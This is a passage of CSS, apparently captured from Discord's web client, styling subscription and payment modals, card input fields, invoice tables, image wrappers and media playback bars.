.tooltipWrapper-3VcaN6:last-child { margin: 0px; }

.disabled-1FsPTr { opacity: 0.3; cursor: not-allowed; }

.info-3LOr12 { margin-right: 8px; width: 100%; display: grid; gap: 4px; -webkit-box-align: center; align-items: center; }

.title-3BE6m5 { font-weight: 500; }

.icon-2pmPWA { margin-left: 8px; }

.base-PmTxvP { box-sizing: border-box; height: 16px; min-width: 16px; min-height: 16px; font-size: 12px; line-height: 16px; font-weight: 600; color: rgb(255, 255, 255); text-align: center; -webkit-box-flex: 0; flex: 0 0 auto; }

.baseShapeRound-1Mm1YW { border-radius: 8px; }

.baseShapeRoundLeft-ym85l3 { border-radius: 8px 0px 0px 8px; }

.baseShapeRoundRight-1962en { border-radius: 0px 8px 8px 0px; }

.numberBadge-2s8kKX { display: flex; -webkit-box-align: center; align-items: center; -webkit-box-pack: center; justify-content: center; }

.textBadge-1iylP6 { padding: 0px 6px; font-family: var(--font-display); white-space: nowrap; text-overflow: ellipsis; overflow: hidden; }

.iconBadge-2NuvG9 { display: flex; -webkit-box-align: center; align-items: center; -webkit-box-pack: center; justify-content: center; width: 16px; }

.icon-3s6X1M { padding: 2px; width: 100%; height: 100%; }

.spriteCanvas-3EWky_ { position: absolute; width: 0px; height: 0px; left: -100%; }

.table-39R0Oe { background-color: var(--background-secondary); border-radius: 4px; padding: 16px; }

.header-2fYolP { color: var(--interactive-active); font-weight: 600; margin-bottom: 8px; }

.header-2fYolP, .rowBase-19ReVc { font-size: 16px; line-height: 20px; }

.rowBase-19ReVc { display: flex; font-weight: 500; }

.rowBase-19ReVc:not(:last-child) { margin-bottom: 8px; }

.row-gSQ6pC { -webkit-box-pack: justify; justify-content: space-between; -webkit-box-align: start; align-items: flex-start; color: var(--interactive-normal); }

.rowAmount-2vWhGc { display: flex; -webkit-box-align: center; align-items: center; white-space: nowrap; }

.rowLabel-Jk6IiB { margin-right: 10px; }

.rowPercentDiscount-1Ip6TE { margin-left: 8px; background-color: hsl(139,calc(var(--saturation-factor, 1)*47.3%),43.9%); color: rgb(255, 255, 255); padding: 2px 4px; border-radius: 2px; font-size: 12px; line-height: 16px; }

.rowDiscountOriginalPrice-3ZHMbT { color: var(--text-muted); font-size: 14px; font-weight: 500; line-height: 16px; margin: -4px 0px 4px; text-align: right; text-decoration: line-through; }

.entitlementDiscountRow-1PWKPc { -webkit-box-pack: end; justify-content: flex-end; color: var(--text-positive); }

.divider-35lQBz { background-color: var(--background-modifier-accent); height: 1px; margin: 16px 0px; }

.dividerExtended-3N_mcn { height: 4px; margin-left: -16px; margin-right: -16px; }

.totalRow-br_EPR { -webkit-box-align: center; align-items: center; display: flex; -webkit-box-pack: justify; justify-content: space-between; }

.totalLabel-kW8CA9 { color: var(--interactive-normal); font-size: 16px; font-weight: 500; line-height: 20px; }

.totalAmount-QMwGZT, .totalLabel-kW8CA9 strong { color: var(--interactive-active); font-weight: 600; }

.finePrint-aNvLWf { color: var(--text-normal); font-size: 12px; line-height: 16px; font-weight: 500; margin: 16px 0px; }

.pricePerInterval-WZc5oR { color: var(--interactive-normal); font-size: 16px; font-weight: 400; line-height: 20px; }

.pricePerInterval-WZc5oR strong { color: var(--interactive-active); font-size: 24px; font-weight: 600; line-height: 30px; }

.wrapper-3xYGNM { border-radius: 4px; transition: background-color 0.2s ease 0s; }

.wrapperActive-1eM2cQ { background-color: var(--background-modifier-accent); }

.link-3dHnkW { color: var(--interactive-active); font-size: 14px; font-weight: 600; line-height: 18px; }

.note-3f9OXN { margin-top: 20px; position: relative; font-size: 12px; }

.note-3f9OXN ~ .note-3f9OXN { margin-top: 8px; }

.icon-gt7KBA { flex-shrink: 0; margin-right: 8px; }

.large-2kb0Cr { width: 20px; height: 20px; }

.small-1Htrse { width: 14px; height: 14px; }

.colorWarning-2efEE- { color: hsl(38,calc(var(--saturation-factor, 1)*95.7%),54.1%); }

.colorError-2vGbJj { color: hsl(359,calc(var(--saturation-factor, 1)*82.6%),59.4%); }

.colorPrimary-3hws2f { color: var(--text-muted); }

.colorSecondary-1C2wFL { color: var(--header-secondary); }

.transition-27fFQS { transition: transform 0.2s ease 0s, -webkit-transform 0.2s ease 0s; }

.directionDown-26e7eE { transform: rotate3d(0, 0, -1, 0deg); }

.directionRight-O8AY4M { transform: rotate3d(0, 0, -1, 90deg); }

.directionLeft-O8iqia { transform: rotate3d(0, 0, -1, -90deg); }

.directionUp-ZEk-_J { transform: rotate3d(0, 0, -1, 180deg); }

.breadcrumbs-SOzMJD { overflow: hidden; }

.breadcrumbWrapper-WmDjgG { font-weight: 600; display: flex; -webkit-box-align: center; align-items: center; -webkit-box-flex: 0; flex-grow: 0; color: var(--text-muted); }

.activeBreadcrumb-p6aw-F { color: var(--interactive-active); }

.breadcrumbClickWrapper-TpEb92, .breadcrumbFinalWrapper-3WqsGi { overflow: hidden; }

.breadcrumb-OALf_a { font-size: 14px; }

.breadcrumbArrow-1bJVKv { width: 18px; height: 18px; }

.interactiveBreadcrumb-3qFng9 { cursor: pointer; }

.content-1YdlXf { display: flex; -webkit-box-flex: 1; flex: 1 1 auto; -webkit-box-orient: vertical; -webkit-box-direction: normal; flex-direction: column; min-height: 0px; }

.breadcrumbsWrapper-3avBWN { border-bottom: 1px solid var(--background-modifier-accent); -webkit-box-flex: 0; flex: 0 0 auto; margin: 0px 16px; padding: 16px 0px; }

.bodyWrapper-3GGwfp { display: flex; -webkit-box-flex: 1; flex: 1 1 auto; -webkit-box-orient: vertical; -webkit-box-direction: normal; flex-direction: column; height: 100%; min-height: 0px; position: relative; }

.scroller-3tPHw0 { height: 100%; padding: 0px 16px 16px; }

.errorBlockWrapper-1ZfYVz { padding: 16px 16px 0px; }

.paymentNote-3NUaTF { padding: 0px 16px; }

.loadingBlock-2I2zJI { height: 192px; }

.sequencer-2GXxB2 { flex-direction: column; }

.sequencer-2GXxB2, .sequencerStatic-UthWGP { -webkit-box-align: start; align-items: flex-start; display: flex; -webkit-box-orient: vertical; -webkit-box-direction: normal; }

.sequencerAnimatedNode-GEjG0S, .sequencerStatic-UthWGP { flex-direction: column; -webkit-box-flex: 1; flex: 1 1 auto; }

.sequencerAnimatedNode-GEjG0S { display: flex; -webkit-box-orient: vertical; -webkit-box-direction: normal; min-height: 0px; }

.button-1w5pas { position: relative; top: 3px; opacity: 0.8; transition: transform 0.2s ease-out 0s, stroke-dasharray 0.2s ease-out 0s, -webkit-transform 0.2s ease-out 0s; margin-left: 4px; }

.button-1w5pas.open-1Te94t { transform: translate3d(0px, -3px, 0px) rotate(-90deg); }

.button-1w5pas.open-1Te94t path { stroke-dasharray: 14; }

.button-1w5pas path { stroke-width: 2px; stroke-dasharray: 7; stroke-dashoffset: 1; transition: stroke-dasharray 0.2s ease 0s; }

.buttonIcon-1BKzBu { margin-right: 8px; }

.button-1vm4ZO { width: 200px; margin-bottom: 8px; }

.button-1vm4ZO:last-child { margin-bottom: 0px; }

.button-1vm4ZO:nth-of-type(2n+1) { margin-right: 8px; }

.allPaymentsToggleButton-XaXcaK { color: var(--header-primary); margin: 20px auto 0px; padding: 4px 4px 0px; font-size: 14px; line-height: 18px; font-weight: 500; }

.allPaymentsToggleButton-XaXcaK:hover { cursor: pointer; }

.allPaymentsSection-24Igpm { padding-top: 24px; }

.hidden-2DMsP9 { display: none; }

.inputWrapper-2YCfto { position: relative; }

.paypalIcon-2dBx_b { position: absolute; top: 9px; left: 8px; z-index: 1; }

.paypalInput-3MddcM { padding-left: 48px; cursor: default; }

.theme-dark .paypalInput-3MddcM, .theme-dark .paypalInput-3MddcM:focus, .theme-dark .paypalInput-3MddcM:hover, .theme-light .paypalInput-3MddcM, .theme-light .paypalInput-3MddcM:focus, .theme-light .paypalInput-3MddcM:hover { border-color: rgba(0, 0, 0, 0.3); }

.row-2grg9k { padding-top: 20px; }

.row-2grg9k:first-child { padding-top: 0px; }

.section-1Hw6N9 { box-sizing: border-box; padding-left: 20px; -webkit-box-flex: 0; flex: 0 1 auto; }

.section-1Hw6N9:first-child { padding-left: 0px; }

.width100-2aXN2H { width: 100%; }

.width75-3anqmd { width: 75%; }

.width60-1v9DeU { width: 60%; }

.width40-1Gna7C { width: 40%; }

.width30-2P1hBi { width: 30%; }

.width50-23-miv { width: 50%; }

.width25-3DEhbv { width: 25%; }

.p24Form-3DemgK { padding-top: 20px; }

.modal-3Msmb3 { overflow-x: hidden; transform: translateZ(0px); }

.planSelector-2xxBP_ { margin-top: 20px; }

.form-2d3M9m { display: flex; -webkit-box-flex: 1; flex-grow: 1; -webkit-box-orient: vertical; -webkit-box-direction: normal; flex-direction: column; max-height: 660px; }

.divider-1que2t { position: relative; border-top: 1px solid; margin: 0px 20px; }

.content-PS26MV { margin-bottom: 20px; }

.giftToggle-3G-6sw { margin-top: 16px; }

.formTitle-1_5gw4 { margin: 20px 0px 10px; }

.errorBlock-1yXil7, .purchaseTerms-1aF7k1 { margin-top: 20px; }

.invalidIcon-1uHQWY { width: 18px; height: 18px; padding: 0px 1px; }

.choosePaymentSourceType-2Q_3qs { margin-top: 20px; }

.buyButtonTooltipWrapper-3ISTfu { position: relative; }

.buyButtonTooltipTarget-2JtpkN { position: absolute; inset: 0px; z-index: 1; cursor: not-allowed; }

.backButtonSize-4hJ3lM { height: 38px; width: auto; }

.backButton-14DZbs { padding: 0px; }

.backButton-14DZbs:hover { text-decoration: underline; }

.modalContent-3rVa23 { }

@media (max-width: 485px) and (max-height: 550px) {
  .form-2d3M9m { display: block; }
  .modalContent-3rVa23 { height: auto; }
}

.theme-dark .divider-1que2t { border-color: rgb(47, 49, 54); }

.theme-dark .backButtonColor-N09dXJ { color: rgb(255, 255, 255); }

.theme-dark .checkboxLabel-3WoD3k { color: rgb(185, 187, 190); }

.theme-light .divider-1que2t { border-color: rgba(220, 221, 222, 0.6); }

.theme-light .backButtonColor-N09dXJ { color: rgb(79, 84, 92); }

.theme-light .checkboxLabel-3WoD3k { color: rgb(185, 187, 190); }

.cardNumberWrapper-2D83Wo { position: relative; }

.cardIcon-2MnSei { position: absolute; top: 12px; left: 10px; }

.cardInput-1hh1N- { padding: 10px 9px; border-radius: 3px; background-color: var(--deprecated-text-input-bg); border: 1px solid var(--deprecated-text-input-border); }

.hiddenDiv-3ywgLc { visibility: hidden; }

.cardNumberInput-3an3uq { padding-left: 55px; }

.cardInputFocused-19S1J3 { border-color: var(--text-link); }

.cardInputError-1GUPnt { border-color: hsl(359,calc(var(--saturation-factor, 1)*82.6%),59.4%); }

.theme-dark .inputPrefix-2iFFkc { opacity: 0.5; }

.cardNumberWrapper-3fnAdq { position: relative; }

.cardIcon-22ZAZn { position: absolute; top: 9px; left: 10px; }

.cardIcon-22ZAZn.submitting-1dY48P { animation: 0.75s ease-in-out 0s infinite alternate none running pulse-2sZk7o; }

.cardNumberInput-1EkDl_ { padding-left: 55px; }

@-webkit-keyframes pulse-2sZk7o { 
  0% { transform: scale(1); opacity: 1; }
  100% { transform: scale(0.9); opacity: 0.6; }
}

@keyframes pulse-2sZk7o { 
  0% { transform: scale(1); opacity: 1; }
  100% { transform: scale(0.9); opacity: 0.6; }
}

.awaitingAuthenticationStep-3mW1JG, .body-31Cs__ { padding-top: 16px; padding-bottom: 16px; }

.skuButtons-3KnDcG { padding: 0px 8px 0px 16px; }

.button-3Wn6-1 { box-sizing: border-box; color: rgb(255, 255, 255); cursor: pointer; display: flex; -webkit-box-orient: vertical; -webkit-box-direction: normal; flex-direction: column; min-height: 258px; border-radius: 8px; padding: 24px; position: relative; margin-bottom: 16px; }

.tier2-3pW_6T { background-image: linear-gradient(32deg, rgb(180, 115, 245), rgb(226, 146, 170)); }

.tier1-UUxEBG { background-image: linear-gradient(32deg, rgb(115, 142, 245), rgb(179, 174, 255) 75.25%); }

.tier2Image-1_9GtA { background-image: url("https://discord.com/assets/98d607da06d333690a5d16e9ae5317fa.svg"); height: 237px; width: 297px; }

.tier1Image-3ShgQH, .tier2Image-1_9GtA { position: absolute; bottom: 0px; right: 0px; }

.tier1Image-3ShgQH { background-image: url("https://discord.com/assets/d8a7af65c03bfd40df71756283194bd4.svg"); height: 234px; width: 279px; }

.tierTitle-24KvK4 { margin-bottom: 16px; }

.text-1AMsjB { width: 160px; font-size: 16px; line-height: 20px; font-weight: 500; }

.description-1XiJ8P { -webkit-box-flex: 1; flex: 1 1 auto; margin-bottom: 16px; }

.priceWrapper-3ug9CZ { -webkit-box-flex: 0; flex: 0 0 auto; }

.price-3ihUyv, .price-3ihUyv strong { color: rgb(255, 255, 255); }

.subscriptionCostRowAmount-15tMYg { font-weight: 500; }

.subscriptionCostRow-3imIke { color: var(--header-primary); }

.invoiceItemLabelWithIcon-1wBD7Y { display: flex; -webkit-box-align: center; align-items: center; }

.invoiceItemLabelIcon-2DH7qm { color: var(--interactive-normal); margin-left: 8px; height: 14px; width: 14px; }

.invoiceItemHolidayPromotionText-1esmM7 { margin-left: 4px; }

.invoiceItemTooltip-2dMGk8 { max-width: 240px; }

.invoiceItemTooltip-2dMGk8 p { margin: 0px; }

.invoiceItemTooltip-2dMGk8 strong { font-weight: 700; }

.subscriptionDetailsToggle-3dzjj6 { color: var(--text-normal); font-size: 12px; line-height: 16px; font-weight: 500; margin: -16px 0px; display: flex; -webkit-box-align: center; align-items: center; -webkit-box-pack: center; justify-content: center; padding: 16px 0px; cursor: pointer; }

.subscriptionDetailsToggleCaret-vbWnyU { margin-left: 6px; height: 16px; width: 16px; }

.subscriptionPeriodResetNotice-b5C4Ac { color: var(--text-normal); font-size: 16px; line-height: 20px; font-weight: 500; margin-bottom: 16px; }

.subscriptionAddedInvoiceItem-2V_n7J { color: var(--text-positive); }

.headerBackground-2YOTTU { position: relative; top: -20px; left: -20px; right: -20px; display: flex; -webkit-box-orient: vertical; -webkit-box-direction: normal; flex-direction: column; padding: 20px; min-height: 77px; width: 100%; }

.tier1HeaderBackground-17SRKd, .tier2HeaderBackground-1BwnYo { }

.tier2HeaderBackground-1BwnYo { background-image: linear-gradient(90deg,hsl(270,calc(var(--saturation-factor, 1)*86.7%),70.6%),hsl(342,calc(var(--saturation-factor, 1)*58%),72.9%)); }

.tier2HeaderBackgroundWinterTheme-3vqOmm { background: linear-gradient(102.85deg, rgb(38, 57, 158) 2.16%, rgb(53, 132, 213) 54.82%, rgb(66, 244, 255) 99.42%); }

.snow-2cHnGC { position: absolute; left: 0px; top: 0px; height: 100%; width: 100%; z-index: 1; pointer-events: none; }

.closeIcon-3M8_pe { opacity: 1; }

.headerTop-34nEU8 { position: relative; width: 100%; }

.headerIcon-1xNrfZ { width: auto; height: 22px; }

.headerIcon-1xNrfZ.tier1-2JtqM9 { height: 35px; }

.price-GbJzfl { position: relative; margin-top: 20px; padding: 2px 12px; font-weight: 500; font-size: 14px; line-height: 1.71; color: var(--brand-experiment); background-color: rgb(255, 255, 255); border-radius: 3px; align-self: flex-end; }

.closeButton-39pTJ1 { color: rgb(255, 255, 255) !important; }

.closeButton-39pTJ1:hover { background-color: rgba(255, 255, 255, 0.04) !important; }

.theme-dark .closeIcon-3M8_pe { color: rgb(246, 246, 247); }

.theme-dark .headerIcon-1xNrfZ, .theme-light .closeIcon-3M8_pe, .theme-light .headerIcon-1xNrfZ { color: rgb(255, 255, 255); }

.wrapper-1P_m9K svg { display: block; }

.tier2Animation-M5D31n { position: relative; }

.panningAnimation-38NjY9 { position: absolute; inset: 0px 0px 20px; overflow: hidden; }

.panningAnimationInner-2-99fl { position: absolute; inset: 0px; background-size: 100% 100%; }

.tier2Background-gCUPNQ { opacity: 0.2; background-image: url("https://discord.com/assets/8d2cc61d9f06d4b1fb0e3b15b36b2817.svg"); }

.tier2Foreground-2tYn8P { background-image: url("https://discord.com/assets/88635b43b1f70f094f034b1cce8ab329.svg"); }

.guildWrapper-13lnzT { position: relative; }

.guildBackground-3UtSZ2 { inset: 0px; }

.guildBackground-3UtSZ2, .guildStar-35l026 { position: absolute; }

.modalHeader-1a6oWz { margin-bottom: -20px; padding-bottom: 0px; }

.header-jiLdx9 { flex-shrink: 0; }

.headerAnimation-pQYQcu { position: absolute; inset: 0px 0px -20px 50%; min-width: 440px; overflow: hidden; transform: translateX(-50%); width: 100%; }

.header-RSCE0X { color: rgb(255, 255, 255); overflow-x: visible; position: relative; min-height: 77px; -webkit-box-align: start; align-items: flex-start; }

.headerTier1-2Ckjmd { background-color: var(--brand-experiment); }

.headerTier2-3FKMxd { background-image: linear-gradient(90deg,hsl(270,calc(var(--saturation-factor, 1)*86.7%),70.6%),hsl(342,calc(var(--saturation-factor, 1)*58%),72.9%)); }

.header-RSCE0X .closeButton-52_sX- { position: absolute; top: 16px; right: 16px; color: rgb(255, 255, 255); opacity: 0.8; }

.header-RSCE0X .closeButton-52_sX-:hover { opacity: 1; }

.headerLogo-3yYMKQ { display: flex; -webkit-box-orient: vertical; -webkit-box-direction: normal; flex-direction: column; -webkit-box-align: start; align-items: flex-start; position: relative; z-index: 1; }

.headerLogoWordmark-3s0bFX { width: auto; height: 15px; }

.headerLogoTier2-K7zsGB { width: auto; height: 22px; }

.headerLogoTier1-tgveOB { width: auto; height: 35px; }

.headerAnimationWrapper-1W2JzL { bottom: -20px; overflow: hidden; z-index: 0; }

.headerAnimation-3SJLN4, .headerAnimationWrapper-1W2JzL { position: absolute; top: 0px; right: 0px; width: 100%; }

.headerAnimation-3SJLN4 { bottom: 0px; left: 50%; min-width: 440px; transform: translateX(-50%); }

.loader-3HXZ2q { margin-top: 64px; }

.invoiceHeader-3VOJTm { margin: 16px 0px 8px; }

.invoice-28DmWy { margin-bottom: 16px; }

.paymentSourceWrapper-2dIzE4 { margin: 16px 0px; }

.paymentSourceOptionalWarning-bonA40 { margin-top: 16px; color: var(--text-normal); }

.contentWrapper-2H52F3 { display: flex; -webkit-box-flex: 1; flex: 1 1 auto; -webkit-box-orient: vertical; -webkit-box-direction: normal; flex-direction: column; min-height: 0px; }

.infoStepBody-1tTf74 { padding: 32px; }

.holidayCongratulationsStepBody-2N7Jsn, .infoStepBody-1tTf74 { display: flex; -webkit-box-orient: vertical; -webkit-box-direction: normal; flex-direction: column; -webkit-box-align: center; align-items: center; text-align: center; }

.holidayCongratulationsStepBody-2N7Jsn { padding: 32px 16px; box-sizing: border-box; }

.holidayIneligibleButton-32yiLJ { align-self: center; margin-top: 20px; }

.infoStepHeaderText-3HUAQN { margin-bottom: 16px; }

.infoStepImage-1Lxe4E { height: 50px; margin-bottom: 20px; }

@media (max-width: 485px) {
  .shaker-35cz7E { position: absolute; inset: 0px; display: flex; }
  .root-1ANs48 { width: 100vw; border-radius: 0px; }
}

.holidayCongratulationsRoot-4Edrns { width: auto; }

.trialCheckbox-2rz9Q1 { -webkit-box-align: start; align-items: flex-start; }

.trialCheckboxLabel-3DxtAL { font-size: 14px; line-height: 18px; }

.animationContainer-2WKPSH, .container-3JkS1x { position: relative; z-index: 0; }

.animationContainer-2WKPSH { display: flex; -webkit-box-orient: vertical; -webkit-box-direction: normal; flex-direction: column; border-radius: 8px; overflow: hidden; }

.svgBorder-3Yo_nE { position: absolute; top: -1px; left: -1px; height: calc(100% + 2px); width: calc(100% + 2px); z-index: 1; }

.svgCopy-2C_iuN { display: block; }

.animationContainer-2WKPSH { color: var(--header-primary); }

.shine-vbbxud { color: rgba(255, 255, 255, 0.5); }

.confirmation-NXinYV { -webkit-box-align: center; align-items: center; display: flex; -webkit-box-orient: vertical; -webkit-box-direction: normal; flex-direction: column; padding: 56px 32px 64px; }

.banner-2TeZN0, .text-1F94k4 { margin-bottom: 16px; }

.text-1F94k4 { color: var(--interactive-normal); font-size: 16px; font-weight: 500; line-height: 20px; text-align: center; }

.shaker-1QVc6p { -webkit-box-align: center; align-items: center; display: flex; -webkit-box-flex: 1; flex-grow: 1; -webkit-box-orient: vertical; -webkit-box-direction: normal; flex-direction: column; -webkit-box-pack: center; justify-content: center; max-height: 660px; height: 100%; }

.modalHeader-3heSN8 { margin-bottom: -20px; padding-bottom: 0px; }

.header-2jljXY { flex-shrink: 0; }

.headerAnimation-2ipCWU { position: absolute; top: 0px; bottom: -20px; left: calc(50% - 220px); width: 440px; }

.spinner-2UYkNB { position: relative; top: calc(50% - 16px); }

.stepBody-1cR8n4 { padding-top: 16px; }

.bodyText-1uGqIv { color: var(--interactive-normal); font-size: 16px; line-height: 20px; font-weight: 500; margin-bottom: 16px; }

.selectPlanChooseSubtitle-2QNzXl, .selectPlanChooseTitle-2ClZSL { color: var(--interactive-active); font-size: 16px; line-height: 20px; margin-bottom: 8px; }

.selectPlanChooseTitle-2ClZSL { font-weight: 600; }

.selectPlanChooseSubtitle-2QNzXl { margin-bottom: 18px; }

.planOption-3m2svN { color: var(--interactive-normal); display: flex; -webkit-box-align: center; align-items: center; -webkit-box-pack: justify; justify-content: space-between; padding: 8px 0px; cursor: pointer; }

.planOptionDisabled-JiB80K { opacity: 0.6; }

.planOptionClickable-2m4lfF { -webkit-box-align: center; align-items: center; display: flex; }

.planOptionDisabled-JiB80K .planOptionClickable-2m4lfF { cursor: not-allowed; }

.planOptionCheckbox-3ik8cg { margin-right: 10px; }

.planOptionInterval-2idEhf { color: var(--interactive-normal); font-weight: 500; }

.optionSelected-1d91jC { color: var(--interactive-active); }

.planOptionCurrentPlan-1NIWWm, .planOptionMonthsFree-d4pf3C { margin-left: 4px; }

.planOptionDiscount-cS8uaO { color: rgb(255, 255, 255); text-transform: uppercase; border-radius: 16px; background-color: hsl(139,calc(var(--saturation-factor, 1)*47.3%),43.9%); font-size: 12px; line-height: 16px; padding: 2px 8px; font-weight: 500; margin-left: 8px; }

.selectPlanDivider-1mx_6q { background-color: var(--background-modifier-accent); height: 1px; margin: 8px 0px 16px; }

.selectPlanTotalRow-Coq3OB { margin-top: 8px; }

.taxInclusiveNote-2PeWCh { margin-bottom: 16px; }

.renewalInvoiceDate-2NNrkM { color: var(--text-normal); margin-bottom: 16px; }

.invoice-3GWhNe { margin-bottom: 16px; }

.grandfatheredUpgradeNote-3hxZHm, .paymentSourceWrapper-RY23yY { margin: 16px 0px; }

.holidayPromotion-3Y4yZn { margin-bottom: 16px; padding: 14px 0px; color: rgb(255, 255, 255); -webkit-box-align: center; align-items: center; display: flex; -webkit-box-pack: center; justify-content: center; position: relative; }

.snow-1wiV64 { position: absolute; top: 0px; left: 0px; height: 100%; width: 100%; }

.holidayPromotion-3Y4yZn { }

.theme-light .holidayPromotion-3Y4yZn { background: linear-gradient(90deg, rgb(47, 83, 212), rgb(61, 200, 238)); }

.theme-dark .holidayPromotion-3Y4yZn { background: linear-gradient(90deg, rgba(47, 83, 212, 0.4), rgba(61, 200, 238, 0.4)); }

.holidayPromotionGiftIcon-1j2ajH { height: 24px; width: 24px; color: rgb(255, 255, 255); padding: 0px 10px; }

.holidayPromotionHeaderText-2tXmt_ { text-transform: uppercase; color: rgb(255, 255, 255); letter-spacing: 0.02em; }

.seasonalGiftBoxHeaderContainer-ezMh2R { display: flex; -webkit-box-orient: horizontal; -webkit-box-direction: normal; flex-direction: row; }

.seasonalGiftBoxHeaderText-3EAhpl { text-transform: uppercase; letter-spacing: 0.02em; margin-right: 6px; }

.newBadge--d_TkH { background-color: var(--brand-experiment); font-size: 12px; line-height: 16px; padding: 0px 6px; text-transform: uppercase; }

.seasonalGiftBoxOptionContainer-1ckoiS { display: flex; -webkit-box-orient: horizontal; -webkit-box-direction: normal; flex-direction: row; -webkit-box-align: center; align-items: center; gap: 9px; margin-top: 16px; margin-bottom: 16px; }

.seasonalGiftBox-aNVgUn, .seasonalGiftBoxHighlighted-3kLUoZ { background-color: var(--background-secondary-alt); border-radius: 8px; border: 3px solid transparent; }

.seasonalGiftBoxHighlighted-3kLUoZ { border: 3px solid hsl(235,calc(var(--saturation-factor, 1)*86.1%),77.5%); }

.seasonalGiftBoxHeaderIcon-1bdTHR { width: 260px; position: absolute; top: -131px; align-self: center; }

.clickable-3p084n { cursor: pointer; }

@media (max-width: 485px) {
  .shaker-1QVc6p { position: absolute; inset: 0px; -webkit-box-pack: center; justify-content: center; max-height: none; }
  .root-2k49pR { width: 100vw; border-radius: 0px; }
}

.premiumSubscribeButton-3TowJw { display: flex; -webkit-box-align: center; align-items: center; }

.premiumIcon-YgHhed { margin-right: 4px; }

.buttonText-3LvUCc { max-width: 140px; white-space: nowrap; text-overflow: ellipsis; overflow: hidden; }

.giftButton-2uAsFo { display: flex; -webkit-box-align: center; align-items: center; }

.giftIcon-1DsQ4W { width: 16px; height: 16px; margin-right: 4px; }

.overflow-WK9Ogt { white-space: nowrap; text-overflow: ellipsis; overflow: hidden; position: relative; }

.gifTag-31zFY8 { background-image: url("https://discord.com/assets/e689380400b1f2d2c6320a823a1ab079.svg"); width: 29px; height: 22px; }

.imageWrapper-2p5ogY { display: block; position: relative; user-select: text; overflow: hidden; border-radius: 3px; }

.imageWrapper-2p5ogY img { position: absolute; }

.imageWrapperBackground-E_M6Nu { background: rgba(0, 0, 0, 0.05); }

.imageWrapperInner-3_dNk0 { position: absolute; inset: 0px; }

.imageError-2OefUi { width: 200px; height: 102px; background-image: url("https://discord.com/assets/feaff2557c548146aad83669db695e0b.svg"); background-position: 50% center; background-repeat: no-repeat; background-size: contain; }

.imagePlaceholder-1AxUV5 { display: block; position: absolute; inset: 0px; }

.imagePlaceholderOverlay-ETNjpn { background-color: rgba(0, 0, 0, 0.6); }

.imageAccessory-3uSIjZ { position: absolute; top: 6px; right: 6px; z-index: 1; }

.imageZoom-1n-ADA { cursor: zoom-in; }

.clickable-3Ya1ho { cursor: pointer; }

.theme-dark .imageError-2OefUi { background-image: url("https://discord.com/assets/9a31e0f65d520cc12d7f42374d59a2d1.svg"); }

.background-opacity-low .imageWrapper-2p5ogY, .background-opacity-medium .imageWrapper-2p5ogY { opacity: 0.6; }

.overlay-unlocked .imageWrapper-2p5ogY { opacity: 1; }

.wrapper-2K4Z3k { position: relative; }

.downloadLink-1ywL9o { position: absolute; top: 100%; font-size: 14px; font-weight: 500; display: inline-block; align-self: flex-start; text-decoration: none; line-height: 30px; transition: opacity 0.15s ease 0s; opacity: 0.5; -webkit-box-flex: 0; flex-grow: 0; color: rgb(255, 255, 255) !important; }

.downloadLink-1ywL9o:hover { opacity: 1; }

.modal-qgFCbT { background: transparent !important; box-shadow: none !important; }

.image-1tIMwV, .modal-qgFCbT { border-radius: 0px; }

.mediaBarInteraction-37i2O4, .mediaBarInteractionDragging-2QurIZ { position: relative; -webkit-box-flex: 1; flex: 1 1 auto; align-self: stretch; display: flex; -webkit-box-align: center; align-items: center; cursor: pointer; margin: 0px 7px; }

.mediaBarInteraction-37i2O4:hover .mediaBarWrapper-3D7r67, .mediaBarInteractionDragging-2QurIZ:hover .mediaBarWrapper-3D7r67 { box-shadow: rgba(0, 0, 0, 0.3) 0px 1px 1px; }

.mediaBarInteraction-37i2O4:hover .bubble-3qRl2J, .mediaBarInteractionDragging-2QurIZ:hover .bubble-3qRl2J { opacity: 1; }

.mediaBarInteraction-37i2O4:hover .mediaBarGrabber-1FqnbN { transform: scale(1); background-color: var(--brand-experiment-560); }

.mediaBarInteraction-37i2O4:hover .mediaBarPreview-1jfyFs { opacity: 0.3; }

.mediaBarInteraction-37i2O4:hover .bubble-3qRl2J, .mediaBarInteractionDragging-2QurIZ .bubble-3qRl2J { opacity: 1; }

.mediaBarInteractionDragging-2QurIZ .mediaBarGrabber-1FqnbN { transform: scale(1); background-color: var(--brand-experiment-560); }

.mediaBarInteractionVolume-3QZqYd { -webkit-box-flex: 0; flex: 0 0 auto; align-self: center; border-radius: 8px; background-color: rgba(0, 0, 0, 0.7); padding: 4px 8px; width: 72px; margin: 0px 4px 0px 0px; }

.vertical-1gJnJQ { -webkit-box-pack: end; justify-content: end; -webkit-box-align: center; align-items: center; transform-origin: center top; transform: rotate(-90deg); height: 54px; width: 140px; }

.horizontal-3Sq5iO, .vertical-1gJnJQ { display: flex; }

.horizontal-3Sq5iO { width: 100%; align-self: stretch; }

.fakeEdges-27pgtp { position: relative; }

.fakeEdges-27pgtp::after, .fakeEdges-27pgtp::before { content: ""; position: absolute; top: 0px; height: 100%; width: 3px; z-index: 1; }

.fakeEdges-27pgtp::before { left: -3px; border-radius: 3px 0px 0px 3px; }

.fakeEdges-27pgtp::after { right: -3px; border-radius: 0px 3px 3px 0px; }

.buffer-26XPkd { position: absolute; top: 0px; left: 0px; height: 100%; opacity: 0.3; }

.buffer-26XPkd, .buffer-26XPkd::after, .buffer-26XPkd::before { background-color: rgb(255, 255, 255); }

.mediaBarWrapper-3D7r67 { position: relative; -webkit-box-flex: 1; flex: 1 1 auto; height: 6px; }

.mediaBarWrapper-3D7r67, .mediaBarWrapper-3D7r67::after, .mediaBarWrapper-3D7r67::before { background-color: rgba(185, 187, 190, 0.3); }

.mediaBarWrapperVolume-354-jo { -webkit-box-flex: 0; flex: 0 0 auto; display: flex; width: 72px; -webkit-box-pack: center; justify-content: center; }

.mediaBarPreview-1jfyFs, .mediaBarProgress-1xaPtl { position: absolute; top: 0px; left: 0px; height: 100%; }

.mediaBarPreview-1jfyFs { z-index: 0; opacity: 0; }

.mediaBarPreview-1jfyFs, .mediaBarPreview-1jfyFs::after, .mediaBarPreview-1jfyFs::before { background-color: rgb(255, 255, 255); }

.mediaBarProgress-1xaPtl { z-index: 3; }

.mediaBarGrabber-1FqnbN, .mediaBarProgress-1xaPtl, .mediaBarProgress-1xaPtl::after, .mediaBarProgress-1xaPtl::before { background-color: var(--brand-experiment); }

